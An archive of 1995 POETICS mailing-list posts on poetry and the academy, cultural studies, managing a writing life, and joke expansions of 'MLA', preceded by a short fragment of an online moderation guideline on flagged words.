10. Sex: This is a judgement call. "Sexy" is fine, as an adjective. The word should never appear in room names or screen names as a noun (ILikeSex). In other situations, use the context to determine whether the member was committing a TOS violation. For instance, "Hey babe, anyone here wanna have sex" would be a violation. "I didn't let my child see the movie because of the sex in it" would not be a violation.

11. Dykes/Queers: This is OK if a member is refering to themselves. If it is used "against" someone then it is warnable. However, this word requires judgement.

Issa Clubb
[redacted]
Voyager Art Dept.
[redacted]

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12. cris cheek

e-rngan poetics

Fri 1 Dec 1995

Briefish afterthought for those still curious. The renga project asks some provocative questions about 'authorship'. Not that there aren't antecedents in the exquisite corpse of the Surrealists. I collaborated with Steve Benson and Allen Fisher about 10 years back on a piece published in Sulfur under the title 'Assumptions Table', The text doesn't identify who said what in the transcript of a live performance. Curiously with the passage of time we would probably all three have difficulty in registering who said what, for at least part of the text. I've frequently discussed publishing some of my work anonymously and am one of several people in the UK who have deliberately published under each others' names. (no, I'm not telling and yes I know about Hakim Bey)

'Authorship' is worth interrogating and perhaps especially in the contexts of cultural studies.

love and love
cris

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13. Charles Alexander
Re: Poetry and the Academy
Fri 1 Dec 1995

Jeff Hansen writes:

> *Rather, I'm interested in what happens to intellectuals (may I still use that word) who have been university trained (perhaps in a highly innovative manner such as myself--Beloit College and The SUNY-Buffalo English program), and leave academia for greener pastures. Do some give up on writing and thinking? Or do others, like me, try to squeeze it into incredibly busy schedules?*

My experience with artists and intellectuals is that, yes, some do give it up, but that a lot don't. And a lot of those that don't give it up, though, aren't necessarily very public about what they do. I tend to imagine that there are a lot of marvelous artists who never get their work to a public.

> *Unlike Charles Alexander, I left academia not because I didn't want it, but because it didn't want me.*

Not so much that I didn't want it, but that it wasn't what I wanted it to be, and I found what to me at the time was more satisfying. But believe me, the life of an artist outside the academy has its problems, too, and its insecurities are more apparent to me now that I am a parent of two children than they were to me when some choices were made 16 or 17 years ago. Still, I generally have no regrets, although sometimes I do.

> *But now I am beginning to look at nonacademic life as a blessing: I don't have to worry about publishing in certain places or publishing the right kind of thing. Not ever having to write critical articles/papers has freed my prose in ways I like. While I do enjoy reading some academic prose, I did find that too much exposure to it limits me.*
>
> *Now, my thinking and writing are hobbies rather than a profession. And, as a long-time critic of "professionalism," I like that.*

I think I agree with what you're saying here, but I don't think the word "hobby" quite does justice. Maybe a passion rather than a profession. Or a life rather than a profession. Not that there aren't many within professions to whom the thinking & writing is the life.

> *Since there are others like me, maybe this situation is good. Maybe the freedom to think and write without institutional constraints will make us more interesting and interested, less "fashionable", more true to our own evolving engagements. I know that it is a cliche, but academia does stultify thinking in many ways, many of which have been outlined in this discussion*

Yes, but there is still the struggle to simply find the time to do the work. I admire the way Sheila Murphy manages it, the way Ron Silliman manages it, but it still is a daily struggle. Although I think those of us outside the academy

tend to think universities GIVE professors the time to pursue their own work, while the truth may be more complicated than that. And it's not just time, but time & money. For example, there are many conferences and festivals mentioned in this forum. For someone not able to tap travel allowances from departments or universities, getting to even one such event a year (and experiencing the give-and-take with one's peers) can be difficult.

> *Three cheers for renegade poet/thinkers.*

hooray hooray hooray

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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14. Charles Alexander
Re: Poetry and the Academy
Fri 1 Dec 1995

> *i'd rather that talented folks who DON'T earn a living as writers STILL be regarded "professionals"... i'd rather that, again, some "we" appropriates this latter term and disengages it from "making a living"... but again my ambivalence---i just see no other way to mount any sustained resistance to more orthodox pressures, esp. these days...*

I am not certain I understand who you're talking about -- I mean, are the talented folks who DO earn their living as writers the very few who are outside the academy other fields, rather those who actually earn their living from royalties and readings? I don't think of academics as people who earn a living as writers; but I also don't think of those of us who work in other fields for a living as such -- yet I do think of all of us as equals in the work of writing.

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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15. Maria Damon
Re: More on poetry and cultural studies
Fri 1 Dec 1995

what's all this i hear about pottery and cultural studies? what's all this i hear about popery and cult studs?

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16. Thomas Bell
Re: Poetry and the Academy
Sat 2 Dec 1995

It is possible however lamely to hobble back thirty years later.

Tom

On Fri, 1 Dec 1995, Jeff Hansen wrote:

> *In the discussion on poetry in the academy, I have yet to see mention of the financial crisis in higher education.*
>
> *Young people with Ph.D.s who are interested in poetry rarely get hired. Granted, the situation is bad in every subspecialty of English departments, but the poetry one seems most acute.*
>
> *The situation will probably not end, and, since I am not now in academia and probably will never return, I 'm not that concerned about it.*
>
> *Rather, I'm interested in what happens to intellectuals (may I still use that word) who have been university trained (perhaps in a highly innovative manner such as myself--Beloit College and The SUNY-Buffalo English program), and leave academia for greener pastures. Do some give up on writing and thinking? Or do others, like me, try to squeeze it into incredibly busy schedules?*
>
> *Unlike Charles Alexander, I left academia not because I didn't want it, but because it didn't want me.*
>
> *A few years ago, I couldn't think of a better job for a writer than a professor--flexible schedule.*
>
> *But now I am beginning to look at nonacademic life as a blessing: I don't have to worry about publishing in certain places or publishing the right kind of thing. Not ever having to write critical articles/papers has freed my prose in ways I like. While I do enjoy reading some academic prose, I did find that too much exposure to it limits me.*
>
> *Now, my thinking and writing are hobbies rather than a profession. And, as a long-time critic of "professionalism," I like that.*

> *Since there are others like me, maybe this situation is good. Maybe the freedom to think and write without institutional constraints will make us more interesting and interested, less "fashionable", more true to our own evolving engagements. I know that it is a cliche, but academia does stultify thinking in many ways, many of which have been outlined in this discussion*
>
> *Finally, before I appear too anti-academic, let me say that I appreciate how the academic critics mentioned by Ron Silliman do promote poetry there. It is one of the institutions where poetry is taken seriously. (but it is not, Hugh Kenner, the only place that takes care of poetry). Luigi Bob Drake, for one, creates other places. Three cheers for Taproot Reviews.*
>
> *Three cheers for renegade poet/thinkers.*
>
> *Best,*
>
> *Jeff*

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17. Wystan Curnow

Re: Question

Sat 2 Dec 1995

---

dear steve,
that was my answer also. And in that vein shouldn't we now ask Tom to put the question: can some one tell me how one knows if one is a novelist? or why that isn't the same question?
Wystan

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18. Thomas Bell

Re: More on poetry and cultural studies

Sat 2 Dec 1995

A more fundamental issue might be: is there any relation between poetry and culture? I know I was taught there is but today I'm not sure what that relation is if it exists. Is there any relation between 10-yr-olds shooting others for neat jackets and culture or is this relation to poetry?

In my field which is psychology there is a relation between culture and ppsychology and one between poetry and psychology but these two two relations come from opposite (or at best oblique) directions.

Tom Bell

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19. **Ron Silliman**

Re: Poetry and the Academy

Sat 2 Dec 1995

Chax says,

"Although I think those of us outside the academy tend to think universities GIVE professors the time to pursue their own work, while the truth may be more complicated than that."

I think that totally depends on where in the educational food chain you happen to be. If you're at an Ivy League school or one of the 20 or so major state funded universities out there, well, maybe. But if you are at a "backwater" state college or small private school, the working conditions and pay can be much worse than they would be if you just went out and got a "regular" job (whatever the hell that is).

Cal State teachers are totally overworked. Virtually without exception, they are inundated from the start of the school year until a few weeks beyond the end of the spring term. They do get summers, but it's like packing all your weekends into one package. Even working a 60 hour week, which is pretty common for me, moving twice in one year and raising three year old twins (who are beginning to compete with me for time at this here machine), I'm never as overwhelmed as those folks. And the folks in the junior or community college circuit? That borders on slave labor.

I think this "flexible schedule" idea of teaching is pretty much a myth. Plus conferences, once they become "normalized" as an activity, aren't terribly earth shattering events. Far too much angling for position goes on and gets in the way.

One thing that has made an impression on me is the Canadian system, in which (correct me if I'm wrong) the two-year school is much more widely recognized as the norm and, accordingly, its professors are given a fair bit more in the way of status if not pay. They're also much more apt to be expected to publish and be professionally involved than is the case at their US equivalent institutions.

It makes much greater sense, I think, to consider teaching the hobby. Writing is what I do. Period.

Ron

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20. Rachel Loden
Sheila M., Ron S., Chas. A.
Sat 2 Dec 1995

Charles Alexander wrote (in part):

Yes, but there is still the struggle to simply find the time to do the work. I admire the way Sheila Murphy manages it, the way Ron Silliman manages it, but it still is a daily struggle.

Any chance that Sheila Murphy and/or Ron Silliman and/or Charles Alexander would take a few more valuable moments to tell us a bit about how they *do* manage it?

Rachel Loden

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21. H. T. KIRBY-SMITH
Question
Sat 2 Dec 1995

What does MLA stand for?

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22. Michael Boughn
Re: More on poetry and cultural studies
Sat 2 Dec 1995

> *When I was in grad school, all of my "cultural studies" friends (who were not in English but in the Institute for Communications Research at U of Illinois) continually pressed me about the exclusionary, colonialist politics of English studies, about the high-cultural bias of literary studies, and repeatedly wanted to know why on earth one might want to study poetry, and avant-garde at that, in a culture such as ours.*

Instrumentalists of the Imagination--whether knee-jerk-neo-con, certain cultural studies types, or what have you--seem to have in common a hatred of any activity that can't be translated into a bottom line, be it monetary or moralist. No wonder the resistance to literary studies.

Mike
[redacted]

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23. **Joe Amato**
Re: Poetry and the Academy
Sat 2 Dec 1995

charles, yes, the equals part of what you say holds... i've no wish to complicate things further by introducing more "levels"... i'm interested in fact in institutional *consolidations*...

but here it is: i'm arguing that the designation "professional" may be unavoidable finally if one wishes to be viewed as "legit" by so many powers-that-be... and by "legit" i mean "have a say in"... i'm thinking specifically in political terms here, and i've no doubt this will upset more than a few even on this list, b/c many poetry communities i'm aware of, and writing communities in general, often display a very american bias against "collective" identification except in the most innocent terms... despite the active presence of some very powerful organizations, even more "vested" writers tend to act as though their work is independently sucked up and into the "system"... and those who are not part of this latter network continually decry its more ominous workings... in any case, it's this same sort of bias that prevents academics, in fact, from wanting even to talk about collective bargaining (just had that experience in my dept. again yesterday, and it always begins with "but i thought a professional was---")...

i'm landing on the term "professional" in part b/c of the problems i've experienced on my campus (a tech. campus that is beginning to feel more like a business institute)---it's clear to me now what the corporate educational imperatives of the 21st. century will likely be centered around (in the case of my campus, it's motorola that's doing a good portion of the pushing)... and the term "professional" will likely be a key term in this latter development...

part of the problem, as i see it, is that the term "professional" (and all of its variants to varying degrees---profession, professor, profess) is generally predicated on earning a living from what one does... i would argue that one can do "professional quality work" and NOT do it for money (isn't this obvious?---but you need resources!)... aside from the obvious reality of un and underemployed professionals, there's simply got to be a way (NOT to capture) but to organize ourselves in formal terms around the value of artist-workers (a touch trotsky here, i know, even utopian) who are *not* a part of academe, mla (modern language association), awp, ncte, etc---by way of opening up these latter organizations, and corresponding markets of distribution, information, learning, what have you ...

however obvious this may seem, it's surely not obvious in economic terms... it's precisely the power plays that concern me, and in academe, as well as throughout the growing multinational empire... i'd also want to complicate

notions of professional expertise---by which i mean to say that it's no "better" than any form of lay expertise, it's just different... in the professional context i envision, "lay expertise" in writing terms would simply translate to writing by folks who don't think of themselves as writers---and these latter writers would be no "worse" for wear, b/c they would clearly have their own corresponding professional expertise...

but i really think that we need new professional identity mechanisms---associations, virtual communities, unions, what have you---that permit for a much broader range of professional legitimacy than orthodox structures currently do (james soskoski, whom i mentioned in an earlier post, uses the term "paraorganizations")... thinking of yourself, jeff, sheila, ron, luigi-bob and others, it seems to me we need new (social) structures and organizations that facilitate such diverse artistic-writing *lives*, and provide us with a formal means, for example, to get "us" academic writing professionals to start to listen more closely to what those "outside" of academe (which latter term alone often puts off many of my non-academic friends!), but with at least as much commitment, are doing... and mebbe in the process we academics will find ways to alter our more exclusive habits, and those on the "outside" will find us less elitist...

just to be clear: i'm not at all talking about a "back to basics" ANYTHING... and nothing i say is intended to resonate with ANYTHING coming out of the mouths of gingrich, bennett, & co... in one sense, in fact, i'm asking for more inclusive, and more blatantly political, theorizing...

just a start, charles, and necessarily fuzzy and conflicted... perhaps those of you on the "outside" of academe (i'm on the outside too from your pov's, i know) will hear this as just another territorial ploy, but i'm really not about such doings... i simply believe, given the situation all around, that the time has come for more ambitious forms of intellectual activism... and i think i mself am woefully lacking in this regard, which is why i'm busy shooting my mouth off about this around t/here...

all best//

joe

↑ Index

24. Joe Amato
Re: Testimony: Dr. Owens Wiwa
Sat 2 Dec 1995

---

and i guess here's where the activism stuff, wrt my neighborhood doings, 'hits the fan,' so to say...

as a result of daniel's posts re the nigerian-shell situation (VERY unpleasant reading experience) i've taken to boycotting my local shell gas station, hyde park shell here in chicago... this station is my local gas supplier as well as garage---they do good work for a fair price... and they "know" me (i'm not naive about customer-based relationships, but one seeks such familiarities in an often alienating world)... and most of the employees are from jamaica, though i'm not certain who actually owns the station...

in any case, i'm not going there now, and feeling somehow guilty... but by way of protesting the shell-nigeria situation... and instead i'm ending up over at the local mobil... though of course i don't feel "good" about this either... which is precisely the sort of dilemma we've been conditioned into accepting, a perpetual choosing twixt relative evils...

anyway: is there any indication at all that shell is responding to public pressure?...

joe

↑ Index

25. Judy Roitman
Re: Poetry and the Academy
Sat 2 Dec 1995

> *I think I agree with what you're saying here, but I don't think the word "hobby" quite does justice. Maybe a passion rather than a profession. Or a life rather than a profession.*

That old religious term "vocation" serves nicely. Yes, colleagues see it as a hobby (I'm always baffled by this), and there can be a danger (depending on how you earn your income) in their realizing how serious it is. And certain professions make certain kinds of writing problematic (e.g., explict sexual stuff, if you're a high school teacher or a university dean).

Time, a sense of colleagues, and finding out what's good to read are problems, and many thanks to the organizers of this list for helping those of us without easy access to such things.

↑ Index

26. Maria Damon
Re: More on poetry and cultural studies
Sat 2 Dec 1995

---

kevin McGuirK writes lots of smart stuff on p and cs: this is such a gratifying and hackleraising discussion all around --its the first time i've really felt tht i

could bring my WHole professional self here --thanks to all, susan schultz, michael greer, ron s, kevin mcg, jeffrey timmons, aldon the wise, kat la lindberg, dkellog, m la perloff, joe l'amato and everyone i've left out! now we're cooking w/ gas/--md

↑ Index

27. Charles Alexander

Re: Poetry and the Academy

Sat 2 Dec 1995

> *there's simply got to be a*
> *way (NOT to capture) but to organize ourselves in formal terms around the*
> *value of artist-workers (a touch trotsky here, i know, even utopian) who*
> *are *not* a part of academe, mla (modern language association), awp, ncte,*
> *etc---by way of opening up these latter organizations, and corresponding*
> *markets of distribution, information, learning, what have you ...*

Joe, I really agree with what you're trying to say & do. But my recent experience on the alternative institutional side (well, not so alternative, but not academic, rather in the nonprofit artistic world) makes me severely question the "formal organization" or institutionalization of art on any & all levels. The best-laid plans of mice & men have a way of going really haywire where boards of directors & artistic power struggles & philanthropical goals & means come into the picture. I hate to think this distrust is going to take me even farther into some outsider status, which is not what I seek. Just that my idealism, which has held up through my fourth decade, may be starting to crumble.

> *but i really think that we need new professional identity*
> *mechanisms---associations, virtual communities, unions, what have*
> *you---that permit for a much broader range of professional legitimacy than*
> *orthodox structures currently do*

Yes, but in line with what I say above, I would want these mechanisms to be as flexible and informal as possible.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

28. James Perez
renga/collaboration
Sat 2 Dec 1995

---

1. a few days ago there was a discussion about renga/collaborative poetry. I heard from a friend (Dan) that Leslie Scallapino and someone else (sorry forgot the second person) were working on a long collaborative poem. Is it being done over the net? If so/if not, where can I find it in print or elsewhere. Thanks.

2. someone had mentioned Rita Dove, which made me think of Sesame St. (of course). Hey, why doesn't C. Bernstein get on Sesame and disseminate to the young people. Better yet Michael Palmer and his daughter(?)/collaborative partner Sarah

↑ Index

29. Steve Carll
Re: Question
Sat 2 Dec 1995

At 09:28 AM 12/2/95 EST, H.T. wrote:
>What does MLA stand for?

Modern Language Association, I believe.

Steve

↑ Index

30. Ron Silliman
Re: Question
Sat 2 Dec 1995

>
>What does MLA stand for?
>
Mythic Luggage Anthropomorphized

↑ Index

31. Ron Silliman
Re: Sheila M., Ron S., Chas. A.
Sat 2 Dec 1995

>Any chance that Sheila Murphy and/or Ron Silliman and/or Charles
>Alexander would take a few more valuable moments to tell us a bit
>about how they *do* manage it?
>

>Rachel Loden
>
At one (fairly trivial) level, it's time management. I do 90% of my writing, maybe more, before 6:00 AM (I work from 8:00 AM to 7:00 PM most days and don't get a chance to get back to anything vaguely literary or intellectual until the kids are in bed, which is around 9:30 if we're lucky.) Generally I work to midnight. Evenings tend to be for reading or the telly if I feel brain dead.

At another level, I've found a form that enabled me to construct materials compiled in relatively short segments. Having children has cut back on my critical writing fairly significantly, although the absence of any really good venues for the kinds of pieces I do hasn't helped any (I have throughout my career often been prodded by specific assignments). There's no talk series in Philadelphia.

Beyond that, I find the rub of other kinds of human beings that I meet in my daily work environment enormously useful to my writing and psychic life, a much broader group than I was ever exposed to at any educational institution. Also, when I feel gorged from excessive work, a poem doesn't look like my job, if you know what I mean.

When I have taught, I've counseled students to the fact that the largest reason X becomes a widely published poet and Y does not may well be that X has found a way to integrate writing into his/her life. For many students, school is the way they negotiate that integration and leaving it throws them. Life is full of incentives to not write. You really have to have a passion for the process of writing as much as anything else. I've written virtually every day since I was 10, just under four decades. As Stein noted, a few sentences a day and it will add up.

Ron

↑ Index

32. Maria Damon
Re: Testimony: Dr. Owens Wiwa
Sat 2 Dec 1995

---

thank you, daniel bouchard, for your forward from dr owens wiwa.--mdamon

↑ Index

33. Maria Damon
Re: More on poetry and cultural studies
Sat 2 Dec 1995

---

tom bell, my fellow rengamaniac, writes:

more fundamental issue might be: is there any relation between poetry and culture? I know I was taught there is but today I'm not sure what that relation is if it exists. Is there any relation between 10-yr-olds shooting others for neat jackets and culture or is this relation to poetry?

tom: check out reg e. gaines' cd "please don't take my air jordans." while the poem of that title doesn't explicitly theorize its own relationship to teen-teen murder for commodities, it exists as a strong statement about the phenomenon, and thru its ironic dedication "to spike and mike and all the kids who've died" etc, widens the scope of the poem to include a subtextual analysis/critique of the role of cultural icons (spike lee, mike jordan) who participate in commodification rites thru appearing in advertizements, etc.--md

↑ Index

34. Maria Damon
Re: Poetry and the Academy
Sat 2 Dec 1995

---

ron s rites:

It makes much greater sense, I think, to consider teaching the hobby. Writing is what I do. Period.

to which i say hurrah, that is the most inspiring thing i've read in a while.--md

↑ Index

35. Joe Amato
Re: Poetry and the Academy
Sat 2 Dec 1995

---

charles, you've hit on precisely the reason for my stated ambivalence regarding the "professional" as i'm provoking same... i can hear it already---"professional poets?---c'mon joe!"...

but i mean, like, why not?...

really though: i don't have an answer, in short... the best way i know to deal with such issues is to go 'theoretical' with identity formations and the like even as one pushes for more solidarity, solidarity predicated on dissensus as much as consensus... i think there's a distinction to be drawn twixt political action

(what's necessary, i mean) and substantive intellectual differences... but of course one domain ultimately impacts on the other, and it's precisely in this space of collision that the problems (and anxieties) you suggest emerge...

so i guess i'm at a loss here, and could use some help...

joe

↑ Index

36. Lisa Samuels
Re: Question
Sat 2 Dec 1995

---

according to Ron Silliman:
>
> >
> >What does MLA stand for?
> >
> Mythic Luggage Anthropomorphized
>

Many Languid Anthologizers
More Lively Assertions
Most Literate Avengers
Marked Lateral Artists
My Loves Assembled

&c
lisa s.

↑ Index

37. Alan Sondheim
Re: Question
Sat 2 Dec 1995

My list accumulates...

On Sat, 2 Dec 1995, Lisa Samuels wrote:

> *according to Ron Silliman:*
>
> *What does MLA stand for?*
>
> *Mythic Luggage Anthropomorphized*

> *Many Languid Anthologizers*
> *More Lively Assertions*
> *Most Literate Avengers*
> *Marked Lateral Artists*
> *My Loves Assembled*
>
> *&c*
> *lisa s.*

↑ Index

38. David Kellogg
Re: Question
Sat 2 Dec 1995

On Sat, 2 Dec 1995, Alan Sondheim wrote:

> *My list accumulates...*
>
> *On Sat, 2 Dec 1995, Lisa Samuels wrote:*
>
> *according to Ron Silliman:*
>
> *What does MLA stand for?*
>
> *Mythic Luggage Anthropomorphized*
>
> *Many Languid Anthologizers*
> *More Lively Assertions*
> *Most Literate Avengers*
> *Marked Lateral Artists*
> *My Loves Assembled*

More Layoffs Ahead

Cheers,
David
~~~
~~~

39. Thomas Bell
Re: More on poetry and cultural studies
Sun 3 Dec 1995

Maria, yes, the poetic thrust is clear and direct though while the cultural tie is vague and loopy - competition:race:violence:race:privilege advertising: I think this is what I meant.

On Sat, 2 Dec 1995, Maria Damon wrote:

> *tom bell, my fellow rengamaniac, writes:*
>
> *more fundamental issue might be: is there any relation between poetry and culture? I know I was taught there is but today I'm not sure what that relation is if it exists. Is there any relation between 10-yr-olds shooting others for neat jackets and culture or is this relation to poetry?*
>
> *tom: check out reg e. gaines' cd "please don't take my air jordans." while the poem of that title doesn't explicitly theorize its own relationship to teen-teen murder for commodities, it exists as a strong statement about the phenomenon, and thru its ironic dedication "to spike and mike and all the kids who've died" etc, widens the scope of the poem to include a subtextual analysis/critique of the role of cultural icons (spike lee, mike jordan) who participate in commodification rites thru appearing in advertizements, etc.--md*

↑ Index

40. Rachel Loden
Charles A. on "managing" (fwd)
Sun 3 Dec 1995

Charles Alexander sent this to me backchannel, and said that I could send it on if I thought it of interest to all of POETICS, which I certainly do. Perhaps he would have wanted me to leave off the first paragraph, in which his small daughter plays behind him--but I can't bear to, because we are talking about a life enmeshed in just such complexities. Thanks, too, to Ron for letting us have a glimpse of him at what? four, five a.m.? laying down the words. Which is what he does. What we do. I would encourage anyone to jump in on this "managing" thread. Maybe it would begin to break down some of the isolation that leads to "nights of the long knives." Anyway, hope this (forwarding) works:

> *Charles Alexander wrote (in part):*
>
> *Yes, but there is still the struggle to simply find the time to do the work. I admire the way Sheila Murphy manages it, the way Ron Silliman manages it,*

> *but it still is a daily struggle.*
>
> *Any chance that Sheila Murphy and/or Ron Silliman and/or Charles Alexander would take a few more valuable moments to tell us a bit about how they *do* manage it?*
>
> *Rachel Loden*

Rachel -- I don't know that the facts of such managing are all that interesting, but I'll try. I also don't know if you think the whole list would be interested in this. If you do, you can either forward it, or ask me to send it to the list. This was all written on the fly with my 2-year old behind me wanting me to play with her, so with lots of interruptions. But that's the way such a life goes.

There was a day in 1984 in Madison Wisconsin when I was complaining about wanting to move out of Madison & do "my work" virtually all the time, rather than continuing in about three or four part-time jobs I was doing (teaching poetry at a local community college's evening classes, teaching through correspondence for UW-Extension, and being a rare book library assistant, primarily). A good friend who is now an important part of the Seattle visual/performance art world, Chris Bruch, just said, "Charles, just do it -- you'll always find ways to make money." That simple sentence did it for me. That summer I moved Vandercook printing press & everything to Tucson and for most of the next ten years wrote, made books, etc. Friends began to come from east, west, & midwest (everyone loves to go to the desert), & I began organizing readings, concerts, talks, etc. -- which led me to incorporate Chax as a nonprofit organization, with a few co-conspirators as board members. Later we got some people on the board who could donate some money & help raise some. But at its best Chax was able to pay me a salary of about 12K a year, and that was never regular or consistent. But the work grew and I did have interns helping and eventually as much as a half-time assistant (Lisa Bowden, who, when I left Tucson in 1993, began Kore Press). Funds came from book sales, a few projects for hire, National Endowment for the Arts, Arizona Commission on the Arts, Tucson/Pima Arts Council, DeGrazia Foundation, and some individual donors. No individual ever gave more than $1,000. The biggest grants were from the NEA, $12,000. Once I received a 3-month individual fellowship to do readings and events in downtown Tucson, $5,000. Never did Chax Press have an annual budget of more than $35,000. I took on various projects as a free-lancer, including designing ads, logos, and, occasionally, books -- including books for other literary presses, for individuals, and in one case for a philanthropic foundation. These books ranged from letterpress works to works designed on a computer for wider production and circulation. It was never a very good living, but we survived. My wife is a visual artist (mostly a painter, but has made some installations and other large-scale works), and she was

selling works. For most of the years in Tucson we shared a large (3,000 sq. ft.) old warehouse studio -- sometimes she could pay the rent, sometimes I could, sometimes it was a combination. These were good years, with lots & lots of good people, including bringing folks to town like Karen Mac Cormack, Steve McCaffery, Lyn Hejinian, Leslie Scalapino, Kit Robinson, Lydia Davis, Steve Nelson-Raney, Thomas Gaudynski, Charles Bernstein, Susan Bee, Beverly Dahlen, Nathaniel Tarn, Ron Silliman, Daphne Marlatt, Kamau Brathwaite, Robert Creeley, Nathaniel Mackey, Mei-mei Berssenbrugge, and many more -- also presenting local writers like Lisa Cooper, Steven Kranz, Mark Weiss, Barbara Kingsolver (before she became a famous novelist), Leslie Marmon Silko, Joy Harjo with her band, and many more. Most of these people were in Chax Press events (talks, residencies, readings); some came for the Tucson Poetry Festival, of which I was the executive director (an unpaid position) for a couple of years, and for which I was on the board of directors for several years. Tucson was a terrific place to make things happen, and people there were appreciative, good audiences. We were, for a while, probably the major alternative to the university of arizona's poetry center, and clearly presented something different than they did. And I can't say enough good things about the local community which I came to love & find most supportive, which included some literary people like Lisa Cooper & Steven Kranz & Tenney Nathanson & Michael Magoolaghan & Bill Marsh, some book arts people like Lisa Bowden & Nancy Solomon & Ellen McMahon, as well as music folks, video artists, lots of visual artists, and more. One of the great things about it was that it was not cordoned off as writers in one place, visual artists in another place, composers in another -- it had lots of give & take among artists.

And my role in it, I would say (since you're asking about how I "managed"), barely survived, but survived well. How it did so, I'm tempted to say, was just by willpower -- that I had to make it work. But lots of people helped. Then when my first daughter was born in 1989, I thought it might not be possible, and took a job as a children's book editor for a local publisher -- a job I liked, but which was short-lived because the publisher was losing money fast. And I was not unhappy to see the job go, and get back to what I liked doing better and to a schedule, hectic and irregular as it may be, which suited me. I'm not nearly as disciplined about time as Sheila Murphy seems to be, and I can't say it got easier with the years, but then my situation, with a growing family, changed with the years as well.

Before our second daughter was born in 1993, Minnesota Center for Book Arts came calling -- seemingly out of the blue. I had been recommended, had upon request provided a resume, and suddenly I was hired, if I wanted the job. Given the circumstances, a salary over 40K sounded good, and it seemed like a chance to take my ideas and visions into a larger, more stable organization in a

larger community. This is perhaps the biggest mistake I made. I was able to accomplish a lot -- but the organization wanted a manager more than an artist, and neither of us was wholly satisfied. So it lasted two years, during which Chax didn't get done nearly as much as I wanted, and I didn't get done nearly as much as I wanted. So now I'm back to working for myself, building freelance writing & design work into a business, and who knows how the next page will be written. We want to move back to Tucson and make it work, but perhaps in different ways, there. It's a more creative place, at least for me, than is the Twin Cities. I've been told that I just don't speak midwestern, if you can imagine what that may mean.

So, you ask how I manage it --I've given you a brief history, perhaps more & different than you wanted. I've managed it with difficult, on the other hand I think I've managed it as well as I could have, and (mostly) have no regrets.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

41. Wendy Battin
mla
Sun 3 Dec 1995

> *What does MLA stand for?*

1. Major Limbic Anxiety

2. Math Loathers Anonymous

↑ Index

42. Gwyn McVay
Re: mla
Sun 3 Dec 1995

Meta-Linguistic Authorities?
Musty Librarians Anonymous?
Mutant Literature Assassins!

↑ Index

43. Chris Stroffolino

Re: Question

Sun 3 Dec 1995

Mouthing loaded assignments
Meeting lucky advertisements
Modern lovers, already married
Let arguments melt like air...

Maybe Lucinda acknowledges
Mystified loose action
Macho longing activates
(more luggage again)

My losses answer madness
Like avalanches making lunch
As martyrs leave apartments
(Misery Loves Albany)

Most likely actors
langourous all morning
lasting arguments matter
listening anger mounts
limpid afternoon

↑ Index

44. Susan E. Dunn

Re: POETICS Digest - 29 Nov 1995 to 30 Nov 1995

Sun 3 Dec 1995

And I quote:

dg> -- Grad students are arrogant brats, for the most part. Not helped by dg> having undergrad profs treat them like the next hot thing when they dg> are sophomores -- helps them not do the deep & self-questioning work dg> they need to do which might include learning to really read closely dg> and productively. Easier to get at _Villette_ on breastfeeding than dg> to Zukofsky (but note here the growing amount, some of it good, of dg> c.s. work on Stein). But this is a professional problem, one the dg> "profession" itself and profs need to correct in terms of their dg> professional/personal relations with students, and less a problem dg> of the "method" of c.s. I've yet to see an instance of a probing, dg> productive, provocative paper on just about any subject that won't dg> make it into one of the 20 or 30 top-flight journals, many of which dg> rarely refuse papers due to "subject matter"

dg> (counterexamples?). If that's hegemony I'll live with it. dg> -- dg> [redacted] dg> David Golumbia

Excuse me if I have missed the irony in the diatribe above. Perhaps David Golumbia was impersonating an insufferabe prig for the sake of humor. But as a recently emancipated "brat" (who was never treated as the next hot thing that's for damn sure and who never wrote on breastfeeding in Villette, but the example is an interesting one regarding the speaker's anxieties about scholarship and nineteenth century women writers) you'll have to forgive me if I am having trouble reading the tone of the missive above. Maybe I need more training in close-reading to get at the gist of all this, but I think a lack of self-questioning is a shortcoming of more than just Golumbia's arrogant brat grad students. Of course, the most obvious statement to be made here is that the biggest "professional problem" we have is this kind of despicable pedagogy. I don't necessarily assume that this represents the poetics list in its entirety but my experience has shown that it does represent a pervading attitude about students (undergraduate and graduate alike) and the scholarship they produce. -- Susan E. Dunn [redacted] "The chief and primary cause of this very rapid increase of nervousness is modern civilization which is distinguished by five characteristics: steam power, the periodical press, the telegraph, the sciences, and the mental activity of women. - George Beard "American Nervousness" 1881

↑ Index

45. Stephen Galen Cope

Re: Question

Sun 3 Dec 1995

More Literary Antagonism?

↑ Index

46. Chris Stroffolino

Re: Question

Sun 3 Dec 1995

Months Lie Angularly
Mention Lacan Approvingly
Meatmarkets Love Artists
Magnify Libido Abstinance
but remember
Malvolio Looks Absurd.....
Mingle Like Alchemy!

↑ Index

47. Bill Luoma
Re: Poetry and the Academy
Sun 3 Dec 1995

---

joe amato wrote:
>>it's clear to me now what the corporate
>>educational imperatives of the 21st. century
>>will likely be centered around (in the case
>>of my campus, it's motorola that's doing
>>a good portion of the pushing).

I'm curious about motorola's "desire." What is a good student or a good matriculated student in their terms?

↑ Index

48. Robert Drake
Re: Poetry and the Academy
Sun 3 Dec 1995

---

as we consider how to institutionalize our selves/work, thot this might be ov interest...

begin forwarded message:

*****

THE SEVEN BY NINE SQUARES DISSOLVE

~The Seven by Nine Squares~, Neoist Web site at <http://fub46.zedat.fu-berlin.de:8080/~cantsin> will cease to exist on March 24, 1996.

As you read this, ~The Seven by Nine Squares~ have already begun to dissolve; documents and references are daily being crippled or erased until the site has disappeared.

The E-Mail address <[redacted]> will remain functional and revert to use by its former owners. Before March 24, 1996, an installation package mirroring ~The Seven by Nine Squares~ in its current state can be obtained upon request, either by FTP or on three Macintosh disks. Mail delivery is free for those who wish to install mirrors or mutants in the Internet. After March 24, 1996, a copy of this text will be mailed to anyone who writes concerning ~The Seven by Nine Squares~.

MERCILESS MEMORY

"Arkhe" names at once the commencement and the commandment. "Archive" comes from the Greek "arkheion": initially a house, the residence of the

